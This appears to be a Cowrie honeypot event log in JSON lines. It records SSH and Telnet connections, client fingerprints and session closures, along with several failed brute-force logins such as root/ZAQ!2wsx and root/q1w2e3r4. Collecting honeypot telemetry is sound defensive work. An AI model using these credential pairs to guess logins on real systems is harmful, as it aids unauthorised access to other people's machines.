{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:33.236577Z","src_ip":"176.65.132.254","session":"e21f5f4cd043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:33.676453Z","src_ip":"176.65.132.254","session":"e21f5f4cd043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:34.761458Z","src_ip":"176.65.132.254","session":"e21f5f4cd043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53458,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d564bc31732","protocol":"telnet","message":"New connection: 134.209.8.29:53458 (159.203.135.109:23) [session: 4d564bc31732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:35.524004Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56456,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd60b544bbd","protocol":"telnet","message":"New connection: 62.210.97.77:56456 (10.17.0.5:23) [session: fcd60b544bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:35.978508Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56460,"dst_ip":"10.17.0.5","dst_port":23,"session":"8076ca589b2e","protocol":"telnet","message":"New connection: 62.210.97.77:56460 (10.17.0.5:23) [session: 8076ca589b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:36.149479Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56464,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf27320b6ba0","protocol":"telnet","message":"New connection: 62.210.97.77:56464 (10.17.0.5:23) [session: cf27320b6ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:36.970034Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47374,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbac973c3047","protocol":"ssh","message":"New connection: 176.65.132.254:47374 (10.17.0.5:22) [session: cbac973c3047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:37.237725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:37.243061Z","src_ip":"176.65.132.254","session":"cbac973c3047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:37.324495Z","src_ip":"176.65.132.254","session":"cbac973c3047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56472,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf42932ff37","protocol":"telnet","message":"New connection: 62.210.97.77:56472 (10.17.0.5:23) [session: aaf42932ff37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:37.471883Z"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:37.569310Z","src_ip":"176.65.132.254","session":"cbac973c3047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.148433685302734,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:37.773239Z","src_ip":"62.210.97.77","session":"369d304b8786","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.64745497703552,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:38.156387Z","src_ip":"134.209.8.29","session":"b9feeecb9407","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:38.653811Z","src_ip":"176.65.132.254","session":"cbac973c3047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55894,"dst_ip":"10.17.0.5","dst_port":23,"session":"306cce2d8069","protocol":"telnet","message":"New connection: 62.210.97.77:55894 (10.17.0.5:23) [session: 306cce2d8069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:40.440103Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47380,"dst_ip":"10.17.0.5","dst_port":22,"session":"8607780e621a","protocol":"ssh","message":"New connection: 176.65.132.254:47380 (10.17.0.5:22) [session: 8607780e621a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:41.295116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:41.303082Z","src_ip":"176.65.132.254","session":"8607780e621a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33250,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6eaefa8456f","protocol":"telnet","message":"New connection: 65.60.27.33:33250 (10.17.0.5:23) [session: f6eaefa8456f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:41.313002Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:41.384854Z","src_ip":"176.65.132.254","session":"8607780e621a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:41.645041Z","src_ip":"176.65.132.254","session":"8607780e621a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:42.740672Z","src_ip":"176.65.132.254","session":"8607780e621a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.82000231742859,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:42.860487Z","src_ip":"62.210.97.77","session":"fa7aa431e867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.862900257110596,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:43.386800Z","src_ip":"134.209.8.29","session":"4d564bc31732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.70398211479187,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:43.997556Z","src_ip":"65.60.27.33","session":"641ac5fe7c22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55898,"dst_ip":"10.17.0.5","dst_port":23,"session":"04cda9093d88","protocol":"telnet","message":"New connection: 62.210.97.77:55898 (10.17.0.5:23) [session: 04cda9093d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:44.315532Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55908,"dst_ip":"10.17.0.5","dst_port":23,"session":"0503ef68cd05","protocol":"telnet","message":"New connection: 62.210.97.77:55908 (10.17.0.5:23) [session: 0503ef68cd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:44.547966Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38226,"dst_ip":"10.17.0.5","dst_port":22,"session":"089431d5a00f","protocol":"ssh","message":"New connection: 176.65.132.254:38226 (10.17.0.5:22) [session: 089431d5a00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:45.541474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:45.688053Z","src_ip":"176.65.132.254","session":"089431d5a00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:45.692300Z","src_ip":"176.65.132.254","session":"089431d5a00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.900139808654785,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:45.802085Z","src_ip":"65.60.27.33","session":"915b806af5a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:46.039783Z","src_ip":"176.65.132.254","session":"089431d5a00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55914,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58bd8a2ccc7","protocol":"telnet","message":"New connection: 62.210.97.77:55914 (10.17.0.5:23) [session: b58bd8a2ccc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:46.064610Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39450,"dst_ip":"10.17.0.5","dst_port":23,"session":"82e661f4711e","protocol":"telnet","message":"New connection: 65.60.27.33:39450 (10.17.0.5:23) [session: 82e661f4711e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:46.545804Z"}
{"eventid":"cowrie.session.closed","duration":37.39258122444153,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:46.707341Z","src_ip":"62.210.97.77","session":"cfe9417355ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:47.139274Z","src_ip":"176.65.132.254","session":"089431d5a00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.06567072868347,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:47.404843Z","src_ip":"62.210.97.77","session":"28969a036299","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55920,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0df4363f65a","protocol":"telnet","message":"New connection: 62.210.97.77:55920 (10.17.0.5:23) [session: e0df4363f65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:47.524898Z"}
{"eventid":"cowrie.session.closed","duration":35.26970624923706,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:47.714855Z","src_ip":"62.210.97.77","session":"add2bce6f304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55922,"dst_ip":"10.17.0.5","dst_port":23,"session":"83c1942b1cd5","protocol":"telnet","message":"New connection: 62.210.97.77:55922 (10.17.0.5:23) [session: 83c1942b1cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:48.293414Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33446,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a1fecfc250","protocol":"telnet","message":"New connection: 38.54.119.93:33446 (10.17.0.5:23) [session: c5a1fecfc250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:48.379464Z"}
{"eventid":"cowrie.session.closed","duration":39.69019675254822,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:49.255428Z","src_ip":"62.210.97.77","session":"de8578eb9567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52318,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eae04b149b1","protocol":"telnet","message":"New connection: 62.210.97.77:52318 (10.17.0.5:23) [session: 8eae04b149b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:49.364715Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38230,"dst_ip":"10.17.0.5","dst_port":22,"session":"98e03917bd8c","protocol":"ssh","message":"New connection: 176.65.132.254:38230 (10.17.0.5:22) [session: 98e03917bd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:49.663932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:49.669000Z","src_ip":"176.65.132.254","session":"98e03917bd8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":59130,"dst_ip":"159.203.135.109","dst_port":23,"session":"a884b5a1c5d1","protocol":"telnet","message":"New connection: 136.144.139.78:59130 (159.203.135.109:23) [session: a884b5a1c5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:49.680057Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:49.753175Z","src_ip":"176.65.132.254","session":"98e03917bd8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:50.044099Z","src_ip":"176.65.132.254","session":"98e03917bd8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.973812580108643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:50.062899Z","src_ip":"136.144.139.78","session":"3f98c2ef584a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52330,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d14071f1a35","protocol":"telnet","message":"New connection: 62.210.97.77:52330 (10.17.0.5:23) [session: 2d14071f1a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:50.129267Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52336,"dst_ip":"10.17.0.5","dst_port":23,"session":"62078f6ebc0e","protocol":"telnet","message":"New connection: 62.210.97.77:52336 (10.17.0.5:23) [session: 62078f6ebc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:50.200807Z"}
{"eventid":"cowrie.session.closed","duration":34.234718322753906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:50.938148Z","src_ip":"62.210.97.77","session":"7ff3f7d6d63c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52340,"dst_ip":"10.17.0.5","dst_port":23,"session":"63e0d0aa0911","protocol":"telnet","message":"New connection: 62.210.97.77:52340 (10.17.0.5:23) [session: 63e0d0aa0911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:51.332064Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:51.346117Z","src_ip":"176.65.132.254","session":"98e03917bd8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52348,"dst_ip":"10.17.0.5","dst_port":23,"session":"98fdf9a3243e","protocol":"telnet","message":"New connection: 62.210.97.77:52348 (10.17.0.5:23) [session: 98fdf9a3243e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:52.663488Z"}
{"eventid":"cowrie.session.closed","duration":35.49228382110596,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:53.201164Z","src_ip":"62.210.97.77","session":"d8392292b091","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35846,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e984af98a4b","protocol":"ssh","message":"New connection: 176.65.132.254:35846 (10.17.0.5:22) [session: 3e984af98a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:53.547784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:53.557113Z","src_ip":"176.65.132.254","session":"3e984af98a4b","protocol":"ssh"}
